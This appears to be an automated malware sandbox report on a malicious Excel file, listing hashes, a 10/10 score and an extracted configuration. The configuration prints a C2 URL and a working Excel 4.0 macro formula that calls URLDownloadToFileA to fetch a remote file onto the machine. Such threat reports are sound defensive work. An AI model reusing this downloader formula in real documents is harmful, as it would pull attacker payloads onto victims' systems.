Overview

overview

10

Static

static

10

document-2...18.xls

windows7_x64

10

document-2...18.xls

windows10_x64

Sharing

Copy URL
Twitter E-mail

General

  • Target

    document-276294018.xls

  • Size

    39KB

  • MD5

    74db1dc48bfec02acc0d1ba7c06a6975

  • SHA1

    ffe5ac1d5298065ab9401f249dfd13d8c5b0148c

  • SHA256

    0c67d3bbbc83212eb3bf5a085445c0ebc95235fd2d59b5abb1731d97a9190fab

  • SHA512

    c1b41a14003da71b2e0cfc9d18e016f9b970b4bb355603d8c1db3f6929bfaca29d69eb14d66b32a8d1f2448268a7ae20865faf9e08d95290e1112e36fd80e3dc

Score
10/10
macroxlm

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://xjw10whta03ytgdi.com/inda.xls

Attributes
  • formulas

    =CALL("URLMon","URLDownloadToFileA","JJCCBB",0,"http://xjw10whta03ytgdi.com/inda.xls","..\fkruf.djr",0)

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

    macroxlm

Files

  • document-276294018.xls
    .xls windows office2003